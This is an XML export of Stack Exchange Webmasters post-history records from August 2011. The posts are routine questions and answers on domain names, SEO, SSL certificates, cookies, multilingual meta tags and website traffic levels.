  <row Id="43276" PostHistoryTypeId="2" PostId="17901" RevisionGUID="f674b8b0-dc83-4bcf-bc6e-8abac32b4930" CreationDate="2011-08-07T16:06:11.243" UserId="9446" Text="The issue I have is that my family name is relatively common, and I'm pretty awful at coming up with names.&#xD;&#xA;Yet I'd like to register a decent domain name that SEO won't hate.&#xD;&#xA;&#xD;&#xA;The point of the site would be about programming in general, and some things about android development.&#xD;&#xA;So I was thinking about registering fmdev.org (or .net any input on which of the two is more interesting is always appreciated).&#xD;&#xA;The reason for not picking a .com despite its obvious advantages is that I'm a bit leery about how the USA has been acting lately in regards to privacy/ownership of people from another country when they just own hosting in the USA/having a .com domain name).&#xD;&#xA;&#xD;&#xA;I first thought about going for the full blown development instead of dev, but that seemed a bit on the long side. And I'm guessing google's search engine will pick up on the meaning. (or am I mistaken in that?)&#xD;&#xA;&#xD;&#xA;Any advice/input is always appreciated.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43277" PostHistoryTypeId="1" PostId="17901" RevisionGUID="f674b8b0-dc83-4bcf-bc6e-8abac32b4930" CreationDate="2011-08-07T16:06:11.243" UserId="9446" Text="Picking the right domain name" />
  <row Id="43278" PostHistoryTypeId="3" PostId="17901" RevisionGUID="f674b8b0-dc83-4bcf-bc6e-8abac32b4930" CreationDate="2011-08-07T16:06:11.243" UserId="9446" Text="&lt;domain-names&gt;" />
  <row Id="43279" PostHistoryTypeId="2" PostId="17902" RevisionGUID="389a5615-6429-4c17-8323-82ac49f3bebb" CreationDate="2011-08-07T16:09:03.593" UserId="6184" Text="I'd like to include extra information that would give us a bump in location specific search?" />
  <row Id="43280" PostHistoryTypeId="1" PostId="17902" RevisionGUID="389a5615-6429-4c17-8323-82ac49f3bebb" CreationDate="2011-08-07T16:09:03.593" UserId="6184" Text="How can I include location data in a page so that Google search results include a map?" />
  <row Id="43281" PostHistoryTypeId="3" PostId="17902" RevisionGUID="389a5615-6429-4c17-8323-82ac49f3bebb" CreationDate="2011-08-07T16:09:03.593" UserId="6184" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="43282" PostHistoryTypeId="2" PostId="17903" RevisionGUID="d4ed710b-287b-4930-b050-b2b5dae42d26" CreationDate="2011-08-07T16:40:25.150" UserId="4502" Text="Since it doesn't seem Google has figured out your location &lt;a href=&quot;http://www.google.com/support/places/bin/static.py?page=guide.cs&amp;guide=28247&quot;&gt;on its own&lt;/a&gt;(see &quot;How it works&quot;), you should set up a Places listing yourself. Either way, this will give you more control over the data they have on hand for your business. This &lt;a href=&quot;http://www.seomoz.org/blog/how-googles-new-local-serp-affected-your-ranking-11360&quot;&gt;SEOMoz post from&lt;/a&gt; November does some digging into the effects of filling out the listing and also how some of the information is used." />
  <row Id="43283" PostHistoryTypeId="2" PostId="17904" RevisionGUID="c5bed63a-67bd-41bc-a391-042abfdd1e3a" CreationDate="2011-08-07T17:46:20.447" UserId="9447" Text="Here is a very simple tutorial that explains how to do it step-by-step. You should have no problems getting your custom page online by following this: [http://webdeveloperpost.com/Articles/How-to-create-a-custom-facebook-page-without-restrictions.aspx][1]&#xD;&#xA;  [1]: http://webdeveloperpost.com/Articles/How-to-create-a-custom-facebook-page-without-restrictions.aspx" />
  <row Id="43284" PostHistoryTypeId="25" PostId="17901" RevisionGUID="7edc0e46-bc6d-44b7-99b5-c93f7b0f52d9" CreationDate="2011-08-07T18:34:11.767" Comment="http://twitter.com/#!/StackWebmasters/status/100273548832161792" />
  <row Id="43285" PostHistoryTypeId="2" PostId="17905" RevisionGUID="9da1efd4-53bf-42f6-b1f7-026cf09c67d9" CreationDate="2011-08-07T19:30:45.300" UserId="2047" Text="I administer a mybb forum, for which I'd like to have a nice welcome box for guests. This would be a non-intrusive over-lay box to welcome the visitor and suggest to him to register. This box would have a counter showing that it will close in 10 seconds, for example. " />
  <row Id="43286" PostHistoryTypeId="1" PostId="17905" RevisionGUID="9da1efd4-53bf-42f6-b1f7-026cf09c67d9" CreationDate="2011-08-07T19:30:45.300" UserId="2047" Text="How to add a welcome guest overlay div which would disappear after n seconds?" />
  <row Id="43287" PostHistoryTypeId="3" PostId="17905" RevisionGUID="9da1efd4-53bf-42f6-b1f7-026cf09c67d9" CreationDate="2011-08-07T19:30:45.300" UserId="2047" Text="&lt;forum&gt;" />
  <row Id="43288" PostHistoryTypeId="17" PostId="17906" RevisionGUID="ae67e548-c3f7-45e9-9ec0-163f63a9bab9" CreationDate="2011-08-07T20:13:27.717" UserId="-1" Comment="from http://stackoverflow.com/questions/6970348/slashes-in-urls-and-seo" Text="" />
  <row Id="43289" PostHistoryTypeId="17" PostId="17907" RevisionGUID="5c652e42-8d42-4bcf-a360-d4ccd346e258" CreationDate="2011-08-07T20:13:27.717" UserId="-1" Comment="from http://stackoverflow.com/questions/6970348/slashes-in-urls-and-seo" Text="" />
  <row Id="43290" PostHistoryTypeId="17" PostId="17908" RevisionGUID="3a1a6b6c-d659-4754-b47a-0b853e63e4b0" CreationDate="2011-08-07T20:13:27.717" UserId="-1" Comment="from http://stackoverflow.com/questions/6970348/slashes-in-urls-and-seo" Text="" />
  <row Id="43291" PostHistoryTypeId="2" PostId="17907" RevisionGUID="459b5a06-da29-4e71-9ee5-5c4c74e7512d" CreationDate="2011-08-07T02:38:09.633" UserDisplayName="David Hoerster" Text="If you check out the [periodic table of SEO factors][1], one item under Architecture concerns whether URLs are short and are meaningful.  So I don't think the depth is a factor, but if you have many levels, your URLs will probably be longer, and therefore may contribute towards a slightly lower SEO ranking.&#xD;&#xA;&#xD;&#xA;So if you want a deep hierarchy but keep the URLs short, then you'll probably end up with non-meaningful URLs, and you'll get dinged. Its probably a fine line to walk to strike a good balance between depth and meaningfulness. &#xD;&#xA;&#xD;&#xA;  [1]: http://searchengineland.com/seotable" />
  <row Id="43292" PostHistoryTypeId="2" PostId="17908" RevisionGUID="467b00de-812e-43cc-9ead-513235159e58" CreationDate="2011-08-07T02:42:39.997" UserId="8167" Text="To add to David Hoerster's answer, good UI practices are often synonymous with good SEO. If your site is heavily nested, this will be a challenge for your users as well as search engines. &#xD;&#xA;&#xD;&#xA;If at all possible, it's definitely worth considering how to simplify site architecture to keep drilling down to a minimum. That will naturally keep nested URLs to a minimum, too." />
  <row Id="43293" PostHistoryTypeId="2" PostId="17906" RevisionGUID="0a93d1ff-be34-4cfb-b6ca-f70eff07b563" CreationDate="2011-08-07T02:32:41.060" UserDisplayName="Jacob_1980" Text="My question is simple: Is there any disadvantage (in terms of SEO and search engine behavior) to using / instead of other delimiters in URLs like http://example.com/en/items/1234/page3 ?&#xD;&#xA;&#xD;&#xA;I vaguely remember reading something about some search engines not liking URLs that have too deep a folder structure (basically what the /'s indicate), but I'm not sure if that's still an issue." />
  <row Id="43294" PostHistoryTypeId="1" PostId="17906" RevisionGUID="0a93d1ff-be34-4cfb-b6ca-f70eff07b563" CreationDate="2011-08-07T02:32:41.060" UserDisplayName="Jacob_1980" Text="Slashes in URLs and SEO" />
  <row Id="43295" PostHistoryTypeId="3" PostId="17906" RevisionGUID="0a93d1ff-be34-4cfb-b6ca-f70eff07b563" CreationDate="2011-08-07T02:32:41.060" UserDisplayName="Jacob_1980" Text="&lt;url&gt;&lt;web&gt;&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="43296" PostHistoryTypeId="2" PostId="17909" RevisionGUID="5d8994cb-da49-4d5f-afae-87fcf8580708" CreationDate="2011-08-07T20:27:42.467" UserId="9010" Text="Well, I still don't know exactly why Firefox didn't want play that file, but if anyone is having the same issue - I ended up using jPlayer. You can download it from: http://www.jplayer.org/&#xD;&#xA;&#xD;&#xA;TODO:&#xD;&#xA;&#xD;&#xA;Place the jPlayer files in your scripts folder, then you can use this html page to implement the player on your website: http://pastebin.com/mhdt2m7W&#xD;&#xA;&#xD;&#xA;Make sure to change the file names and directories as needed, namely the music file location and the location of your scripts folder.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="43297" PostHistoryTypeId="2" PostId="17910" RevisionGUID="2f6f24b8-0220-4199-90fd-6854df633750" CreationDate="2011-08-07T21:12:42.027" UserId="9010" Text="Well, you need the do following:&#xD;&#xA;&#xD;&#xA; 1. Find a hosting company that provides .net and MS SQL, which many windows hosting companies do&#xD;&#xA; 2. Create the database on your host using the panel that they provide&#xD;&#xA; 3. The panel should provide you with a connection string for the new database&#xD;&#xA; 4. Replace your current connection string with the one for the new remote database&#xD;&#xA; 5. Upload your website using VS or FTP&#xD;&#xA; 6. Open both your local database and the remote database (on your host) in VS and copy the table definitions - open the table definition of a local table select every row, copy, then paste the rows in a new table definition on the remote database&#xD;&#xA; 7. You can also copy all of the contents of the tables in the same manner&#xD;&#xA; &#xD;&#xA;Then see if it worked.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA; " />
  <row Id="43298" PostHistoryTypeId="25" PostId="17902" RevisionGUID="aa589ee9-6bb2-4649-8603-0288d097490b" CreationDate="2011-08-07T21:34:11.810" Comment="http://twitter.com/#!/StackWebmasters/status/100318847571197952" />
  <row Id="43299" PostHistoryTypeId="2" PostId="17911" RevisionGUID="4f9ebda2-59f4-4367-b183-9b03218bea40" CreationDate="2011-08-07T21:45:43.507" UserId="9297" Text="I have a VPS server running Ubuntu 11.04 with [webmin][1] installed on it. How can I add my xxx.com domain to my VPS like the way we do on shared server via web panels such as cPanel and etc?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmin.com/" />
  <row Id="43300" PostHistoryTypeId="1" PostId="17911" RevisionGUID="4f9ebda2-59f4-4367-b183-9b03218bea40" CreationDate="2011-08-07T21:45:43.507" UserId="9297" Text="Add domain to VPS" />
  <row Id="43301" PostHistoryTypeId="3" PostId="17911" RevisionGUID="4f9ebda2-59f4-4367-b183-9b03218bea40" CreationDate="2011-08-07T21:45:43.507" UserId="9297" Text="&lt;domains&gt;&lt;dns&gt;&lt;vps&gt;&lt;webmin&gt;" />
  <row Id="43302" PostHistoryTypeId="2" PostId="17912" RevisionGUID="b2b77701-640d-4f5b-89ef-ad7838d7e91d" CreationDate="2011-08-07T22:02:02.707" UserId="407" Text="I'm reviewing the cookies served up from my website and one of them is a first-party cookie `__qca` which seems to be set by Quantcast.&#xD;&#xA;&#xD;&#xA;I'm sure this is just used for tracking, but I can't find this cookie discussed anywhere on Quantcast's website or generally on the web at all?&#xD;&#xA;&#xD;&#xA;Can anyone provide a reference or further information on what this cookie actually does?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="43303" PostHistoryTypeId="1" PostId="17912" RevisionGUID="b2b77701-640d-4f5b-89ef-ad7838d7e91d" CreationDate="2011-08-07T22:02:02.707" UserId="407" Text="What does the Quantcast __qca cookie do?" />
  <row Id="43304" PostHistoryTypeId="3" PostId="17912" RevisionGUID="b2b77701-640d-4f5b-89ef-ad7838d7e91d" CreationDate="2011-08-07T22:02:02.707" UserId="407" Text="&lt;analytics&gt;&lt;tracking&gt;&lt;cookie&gt;&lt;quantcast&gt;" />
  <row Id="43305" PostHistoryTypeId="6" PostId="10200" RevisionGUID="be7b7c81-81cd-4191-a445-e8633e7a38bd" CreationDate="2011-08-07T22:25:55.563" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="43306" PostHistoryTypeId="14" PostId="17905" RevisionGUID="e9c19f91-3b6b-43f7-b0c7-8779381883d8" CreationDate="2011-08-07T22:26:43.907" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43307" PostHistoryTypeId="17" PostId="17905" RevisionGUID="781cf059-9903-41d3-a78a-79cb5ee4e570" CreationDate="2011-08-07T22:26:43.923" UserId="1253" Comment="to http://stackoverflow.com/questions/6976215/how-to-add-a-welcome-guest-overlay-div-which-would-disappear-after-n-seconds" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43308" PostHistoryTypeId="10" PostId="17905" RevisionGUID="4fc27c60-7fad-4a0f-88dc-6c8daa9d0908" CreationDate="2011-08-07T22:26:41.270" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43309" PostHistoryTypeId="2" PostId="17913" RevisionGUID="e549a6d9-d6b2-4403-a483-c9060463cb33" CreationDate="2011-08-07T22:27:25.810" UserId="5800" Text="I found a similar question [at webapps.stackexchange.com][1].&#xD;&#xA;&#xD;&#xA;**Here are my favorite answers:**&#xD;&#xA;&#xD;&#xA; - [Youtube][2] - Works just fine for audio.  You can have a static image as a background or get creative and make a slideshow or something.  Drawback: length limit&#xD;&#xA; - [SoundCloud][3] - This would be my favorite if not for a limit on minutes of audio per account (120 minutes I think)  Its got a really nice and easy embedded player too&#xD;&#xA; - [Archive.org][4] - If you don't already know about this site, go now.&#xD;&#xA;&#xD;&#xA;***Others I haven't had the chance to scope out yet:***&#xD;&#xA;&#xD;&#xA; - http://tindeck.com/&#xD;&#xA; - http://www.hark.com/&#xD;&#xA; - http://www.freesound.org/index.php&#xD;&#xA; - http://www.prx.org/help/posting-audio&#xD;&#xA; - http://fizy.com/en&#xD;&#xA; - http://grooveshark.com/&#xD;&#xA; - http://www.tunesbag.com/&#xD;&#xA; - http://hypem.com/&#xD;&#xA; - http://www.houndbite.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/questions/933/is-there-a-youtube-like-service-for-audio&#xD;&#xA;  [2]: http://youtube.com&#xD;&#xA;  [3]: http://soundcloud.com/dashboard&#xD;&#xA;  [4]: http://archive.org" />
  <row Id="43310" PostHistoryTypeId="2" PostId="17914" RevisionGUID="b5d654af-dc41-4a16-8228-b4d0786b3464" CreationDate="2011-08-07T23:16:34.500" UserId="5727" Text="Inspired by this question on SO:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/647210/just-what-is-a-big-database&#xD;&#xA;&#xD;&#xA;I'd like to ask &quot;What exactly is considered *a lot of traffic* for a website?&quot;&#xD;&#xA;&#xD;&#xA;What's the minimum someone could say as to not be laughed at?  (Dragons Den was funny with someone telling the Dragons he was getting &quot;1, sometimes 2 uniques a day&quot;).  What's the minimum amount to say as to not be laughed at?" />
  <row Id="43311" PostHistoryTypeId="1" PostId="17914" RevisionGUID="b5d654af-dc41-4a16-8228-b4d0786b3464" CreationDate="2011-08-07T23:16:34.500" UserId="5727" Text="What is a lot of traffic?" />
  <row Id="43312" PostHistoryTypeId="3" PostId="17914" RevisionGUID="b5d654af-dc41-4a16-8228-b4d0786b3464" CreationDate="2011-08-07T23:16:34.500" UserId="5727" Text="&lt;websites&gt;&lt;traffic&gt;&lt;high-traffic&gt;" />
  <row Id="43313" PostHistoryTypeId="25" PostId="17914" RevisionGUID="023fea3c-2395-4b37-8e6d-105b6475152f" CreationDate="2011-08-08T00:34:11.783" Comment="http://twitter.com/#!/StackWebmasters/status/100364145672732672" />
  <row Id="43314" PostHistoryTypeId="2" PostId="17915" RevisionGUID="a11efb2c-ab1f-4515-abb9-9723582b5be4" CreationDate="2011-08-08T03:31:23.447" UserId="7494" Text="I need to (try to) solve the problem of new account creation for a patient portal for a medical records system (electronic health record). That is, a way to activate a patient online and match her against her medical chart.&#xD;&#xA;&#xD;&#xA;Let's assume that most patients will not have an email address listed among the data that I already have. If I want to allow a prospective patient to submit a bunch of demographics information, and then if it matches, receive an activation code, is there an alternative to sending that code to whatever email address the prospective patient provides? Because I might know all of the info for another person (i.e. an estranged spouse or a neighbor who doesn't shred their garbage) and then give my own email address (which can't be verified).&#xD;&#xA;&#xD;&#xA;Short of having the prospective patient come into the doctor, or receive snail mail, to verify her identity (the problem I'm trying to solve) is there any way these types of verifications can be done?" />
  <row Id="43315" PostHistoryTypeId="1" PostId="17915" RevisionGUID="a11efb2c-ab1f-4515-abb9-9723582b5be4" CreationDate="2011-08-08T03:31:23.447" UserId="7494" Text="How to verify new accounts against a known persons database?" />
  <row Id="43316" PostHistoryTypeId="3" PostId="17915" RevisionGUID="a11efb2c-ab1f-4515-abb9-9723582b5be4" CreationDate="2011-08-08T03:31:23.447" UserId="7494" Text="&lt;login&gt;&lt;user-input&gt;&lt;community-management&gt;" />
  <row Id="43317" PostHistoryTypeId="25" PostId="17906" RevisionGUID="ee811b6c-aa72-411f-ad63-27b76c32b78b" CreationDate="2011-08-08T03:34:11.733" Comment="http://twitter.com/#!/StackWebmasters/status/100409444525031425" />
  <row Id="43318" PostHistoryTypeId="2" PostId="17916" RevisionGUID="951c3085-d8be-4471-9d64-d206a0cbd1fb" CreationDate="2011-08-08T06:13:49.093" UserId="3345" Text="I have a friend with a website that is basically static pages.  They want to implement membership access to certain &quot;folders.&quot; I'm familiar with ASP.net membership but I don't think this person will be able to implement that on their own.  Is there a simple membership provider module that I can recommend?" />
  <row Id="43319" PostHistoryTypeId="1" PostId="17916" RevisionGUID="951c3085-d8be-4471-9d64-d206a0cbd1fb" CreationDate="2011-08-08T06:13:49.093" UserId="3345" Text="Is there a very simple membership provider" />
  <row Id="43320" PostHistoryTypeId="3" PostId="17916" RevisionGUID="951c3085-d8be-4471-9d64-d206a0cbd1fb" CreationDate="2011-08-08T06:13:49.093" UserId="3345" Text="&lt;authentication&gt;" />
  <row Id="43321" PostHistoryTypeId="25" PostId="17915" RevisionGUID="86b072e4-6b6e-4e8e-ae63-17784a7f61b8" CreationDate="2011-08-08T06:34:11.580" Comment="http://twitter.com/#!/StackWebmasters/status/100454742202920960" />
  <row Id="43322" PostHistoryTypeId="17" PostId="17917" RevisionGUID="323756b9-c210-4ec6-a9db-64bf3045f839" CreationDate="2011-08-08T06:54:04.390" UserId="-1" Comment="from http://stackoverflow.com/questions/6974631/can-i-obtain-trusted-ssl-certificates-without-giving-out-personal-information" Text="" />
  <row Id="43323" PostHistoryTypeId="17" PostId="17918" RevisionGUID="77506f88-b8c1-4e5f-a103-5b3e06a0db43" CreationDate="2011-08-08T06:54:04.390" UserId="-1" Comment="from http://stackoverflow.com/questions/6974631/can-i-obtain-trusted-ssl-certificates-without-giving-out-personal-information" Text="" />
  <row Id="43324" PostHistoryTypeId="2" PostId="17918" RevisionGUID="027ea0f8-10fd-4964-b0bc-08ddf92aff59" CreationDate="2011-08-07T19:45:38.930" UserDisplayName="blowdart" Text="You're going to have to pay for an SSL certificate which is trusted by the major OSes/Browsers, so even if the SSL provider didn't ask for your name in the certificate they're going to ask for your name, address and credit card number for payment.&#xD;&#xA;&#xD;&#xA;I'd be highly surprised if you found a reputable SSL issuer which doesn't ask for your information, it's kind of the whole point - they need to determine that you own the domain and have rights to request the certificate (which, at the lowest level of checks would involve emailing the domain owner from the WHOIS information, and of course, having a domain means someone has your information already anyway).&#xD;&#xA;&#xD;&#xA;Having said that the cheaper SSL providers don't embed ownership information in the certificate anyway, so it's not like your name is going to leak via the cert itself." />
  <row Id="43325" PostHistoryTypeId="2" PostId="17917" RevisionGUID="be9fd348-cba2-4836-bf3f-0c50b2b6302f" CreationDate="2011-08-07T17:57:27.167" UserDisplayName="physicistjedi" Text="I am launching a site that will require secure (ssl) account login, no payments or credit cards involved. Self signed certificates gives annoying warnings in browsers, so I want to get a trusted SSL certificate from an authority. But I want to keep my personal information anonymous. Is there a major authority out there who doesn't ask for personal information, only requires some sort of proof of domain control?" />
  <row Id="43326" PostHistoryTypeId="1" PostId="17917" RevisionGUID="be9fd348-cba2-4836-bf3f-0c50b2b6302f" CreationDate="2011-08-07T17:57:27.167" UserDisplayName="physicistjedi" Text="Can I obtain trusted SSL certificates without giving out personal information?" />
  <row Id="43327" PostHistoryTypeId="3" PostId="17917" RevisionGUID="be9fd348-cba2-4836-bf3f-0c50b2b6302f" CreationDate="2011-08-07T17:57:27.167" UserDisplayName="physicistjedi" Text="&lt;ssl-certificate&gt;" />
  <row Id="43328" PostHistoryTypeId="2" PostId="17919" RevisionGUID="b3df7a04-ea82-4dbf-a1f3-7e991fcb5aac" CreationDate="2011-08-08T07:24:40.133" UserId="9454" Text="Yes, it is basically done from Control Panel. Usually VSP providers do that for free, but you can do that manually.&#xD;&#xA;&#xD;&#xA;http://members.softsyshosting.com/knowledgebase.php?action=displayarticle&amp;id=111" />
  <row Id="43329" PostHistoryTypeId="17" PostId="17920" RevisionGUID="24ca45ff-a9a7-4740-a5ba-08781bc3c1e4" CreationDate="2011-08-08T08:23:27.427" UserId="-1" Comment="from http://stackoverflow.com/questions/6974726/multilanguage-site-meta-content-language-tag" Text="" />
  <row Id="43330" PostHistoryTypeId="2" PostId="17921" RevisionGUID="491f08fb-e026-4249-ab52-76bdf8dbe9a9" CreationDate="2011-08-07T19:57:07.940" UserDisplayName="Gerben" Text="1. The lang attributes are correct in the links. Since you name the language not in English you should specify the language using the lang attribute, like you did.&#xD;&#xA;&#xD;&#xA;2. the content-language should contain the main language of the page. You could however just add a lang attribute to the html element (&amp;lt;html lang=&quot;en&quot;&amp;gt;). It's a lot shorter and should work just fine on search engines. (Using the meta http-equiv is kind of hackish, because it should actually be set at the http level, like the name implied.)" />
  <row Id="43331" PostHistoryTypeId="2" PostId="17920" RevisionGUID="d90e26b7-f7ed-4c3e-9007-5f63969adb7b" CreationDate="2011-08-07T18:13:05.300" UserDisplayName="jernej" Text="I have a website which is in 3 languages: English (primary), German and French. When a language is selected all of page's content is translated to the selected language (the page content is always in one language). My site structure looks like this:&#xD;&#xA;&#xD;&#xA;    www.mydomain.com (primary: english)&#xD;&#xA;    www.mydomain.com/de/ (german)&#xD;&#xA;    www.mydomain.com/fr/ f(rench)&#xD;&#xA;&#xD;&#xA;Every page also contains links to other languages. Do i need to add the language attribute to the link? Like so:&#xD;&#xA;&#xD;&#xA;         &lt;a href=&quot;wwww.mydomain.com/de/&quot; lang=&quot;de&quot;&gt;Deutsch&lt;/a&gt;&#xD;&#xA;         &lt;a href=&quot;wwww.mydomain.com/fr/&quot; lang=&quot;fr&quot;&gt;Français&lt;/a&gt;&#xD;&#xA;         &lt;a href=&quot;wwww.mydomain.com/en/&quot; lang=&quot;en&quot;&gt;English&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;I've add all the appropriate meta tags, but don't know how to properly add the meta tags for content-language. Do i add all languages in the meta tag, like so:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;en, de, fr&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Or do i add only the selected language:&#xD;&#xA;&#xD;&#xA;example: if German selected&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;de&quot; /&gt;&#xD;&#xA;&#xD;&#xA;What's the proper way(SEO wise) to do this? &#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="43332" PostHistoryTypeId="1" PostId="17920" RevisionGUID="d90e26b7-f7ed-4c3e-9007-5f63969adb7b" CreationDate="2011-08-07T18:13:05.300" UserDisplayName="jernej" Text="multilanguage site meta content-language tag" />
  <row Id="43333" PostHistoryTypeId="3" PostId="17920" RevisionGUID="d90e26b7-f7ed-4c3e-9007-5f63969adb7b" CreationDate="2011-08-07T18:13:05.300" UserDisplayName="jernej" Text="&lt;html&gt;&lt;seo&gt;&lt;meta&gt;" />
  <row Id="43334" PostHistoryTypeId="17" PostId="17921" RevisionGUID="8b8d6a66-dcdc-4e4f-a44f-e0a98719a36f" CreationDate="2011-08-08T08:23:27.427" UserId="-1" Comment="from http://stackoverflow.com/questions/6974726/multilanguage-site-meta-content-language-tag" Text="" />
  <row Id="43335" PostHistoryTypeId="5" PostId="17914" RevisionGUID="ed1d79a0-1311-4f0b-976c-d71038c1a0c0" CreationDate="2011-08-08T08:53:52.910" UserId="5727" Comment="deleted 106 characters in body" Text="Inspired by this question on SO:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/647210/just-what-is-a-big-database&#xD;&#xA;&#xD;&#xA;I'd like to ask &quot;What exactly is considered *a lot of traffic* for a website?&quot;&#xD;&#xA;&#xD;&#xA;What's the minimum someone could say - after stating their website receives a lot of traffic - as to not be laughed at?" />
  <row Id="43336" PostHistoryTypeId="2" PostId="17922" RevisionGUID="e08b640c-56f2-4fcb-b733-ad602b47f90f" CreationDate="2011-08-08T09:33:55.777" UserId="2115" Text="I am using blogger. I want to write some posts under a label say &quot;Puzzles&quot;. I don't want the posts to be appear on home page of my blog (as they show up normally). I just want that when some visitor click on the label &quot;Puzzles&quot; then only he can see those posts otherwise&#xD;&#xA; not. How can I do this?" />
  <row Id="43337" PostHistoryTypeId="1" PostId="17922" RevisionGUID="e08b640c-56f2-4fcb-b733-ad602b47f90f" CreationDate="2011-08-08T09:33:55.777" UserId="2115" Text="How to hide new posts from appearing on homepage and make them visible only under a specific label?" />
  <row Id="43338" PostHistoryTypeId="3" PostId="17922" RevisionGUID="e08b640c-56f2-4fcb-b733-ad602b47f90f" CreationDate="2011-08-08T09:33:55.777" UserId="2115" Text="&lt;blogger&gt;" />
  <row Id="43339" PostHistoryTypeId="25" PostId="17920" RevisionGUID="3bbfd4bb-2cc9-40d9-bc78-ea6062095e8b" CreationDate="2011-08-08T09:34:11.570" Comment="http://twitter.com/#!/StackWebmasters/status/100500040396713984" />
  <row Id="43340" PostHistoryTypeId="2" PostId="17923" RevisionGUID="fd8fa8bb-9993-4abe-afb2-c6cb9263e21a" CreationDate="2011-08-08T10:30:56.033" UserId="7198" Text="I've created the following scale to help give some feel of what &quot;a lot&quot; might mean. It uses estimates of **unique monthly visitors** for popular websites to create a high point, then works down from there.&#xD;&#xA;&#xD;&#xA;###The &quot;what's a lot of traffic?&quot; scale (monthly uniques):&#xD;&#xA;&#xD;&#xA;    &quot;A right royal load&quot;  =   1 billion+      e.g. Google&#xD;&#xA;    &quot;A mother load&quot;       =   500 million+    e.g. Facebook&#xD;&#xA;    &quot;A crap load&quot;         =   100 million+    e.g. Wikipedia&#xD;&#xA;    &quot;A boat load&quot;         =   10 million+     e.g. News sites, StackExchange&#xD;&#xA;    &quot;A lot&quot;               =   1 million+      e.g. Very popular blogs, Web shops&#xD;&#xA;    &quot;Quite a lot&quot;         =   100,000+        e.g. Popular blogs&#xD;&#xA;    &quot;Small fish&quot;          =   0 - 100,000     e.g. Your mate Dave's tumblog&#xD;&#xA;&#xD;&#xA;Examples below based on collected data points of varying accuracy and usefulness:&#xD;&#xA;&#xD;&#xA;###1 billion unique monthly visitors (a right royal load)&#xD;&#xA;Google's estimated monthly unique visitor count is around a billion, as reported by the Wall Street Journal [here](http://blogs.wsj.com/digits/2011/06/21/google-notches-one-billion-unique-visitors-per-month/) in June 2011, based on comScore's estimates.&#xD;&#xA;&#xD;&#xA;###714 million unique monthly visitors (a mother load)&#xD;&#xA;Facebook's monthly visitors are almost as high as Google's, according to the same [comScore report](http://www.comscoredatamine.com/2011/06/google-reaches-1-billion-global-visitors/) that the Wall Street Journal cited.&#xD;&#xA;&#xD;&#xA;###400 million unique monthly visitors (a crap load)&#xD;&#xA;The Wikimedia foundation [reports](http://stats.wikimedia.org/reportcard/) around 400 million monthly uniques for all Wikimedia sites worldwide (e.g. Wikipedia).&#xD;&#xA;&#xD;&#xA;###46 million unique monthly visitors (a boat load)&#xD;&#xA;A popular news site, such as the Guardian [reports](http://www.guardian.co.uk/advertising/display-audience-guardian-traffic-users) its monthly unique browser count at about 46 million. This is in line with other large news websites: The Huffington Post reported 36.6 million uniques and the The New York Times reported 35.5 million uniques, both from the US alone [[source](http://mashable.com/2011/06/09/huffington-post-surpasses-new-york-times/)].&#xD;&#xA;&#xD;&#xA;###20 million unique monthly visitors (a boat load)&#xD;&#xA;A popular Q&amp;A family of sites, such as the StackExchange network, sees around 20 million uniques per month, according to [union square ventures](http://www.usv.com/2011/03/stack-overflow-becomes-stack-exchange.php) in March 2011.&#xD;&#xA;&#xD;&#xA;###8 million unique monthly vistors (a lot)&#xD;&#xA;A popular shopping site such as [ASOS](http://asos.com) has around [8 million monthly uniques](http://en.wikipedia.org/wiki/ASOS.com). That's still a lot.&#xD;&#xA;&#xD;&#xA;###5 million unique monthly visitors (a lot)&#xD;&#xA;A very popular blog, such as Matthew Inman's [TheOatmeal](http://TheOatmeal.com) receives around [5 million](http://theoatmeal.com/) monthly unique visitors.&#xD;&#xA;&#xD;&#xA;###More than 100,000 unique monthly visitors (quite a lot)&#xD;&#xA;Popular and moderately famous blogs and sites live in this band. (Anecdotal data point: I used to run a small popular blog that got about this amount of traffic. It's a healthy amount of traffic to have. It's also about the number of monthly uniques you need to make AdSense/ad units worthwhile, in my opinion.)&#xD;&#xA;&#xD;&#xA;###Fewer than 100,000 unique monthly visitors (small fish)&#xD;&#xA;Everything else—hobbyist blogs and websites—fall here.&#xD;&#xA;&#xD;&#xA;###Notes&#xD;&#xA;&quot;A lot&quot; is a relative term, so it's important to note that the scale above is only a very loose guideline. Many webmasters would be perfectly happy with a few thousand uniques a month for a personal blog, for example, and may well deem that &quot;a lot&quot;. It depends entirely on the context, the competition, and the extent to which your own sense of achievement is inflated by lots of zeros.&#xD;&#xA;&#xD;&#xA;Still, it's fun to see how far the scale reaches." />
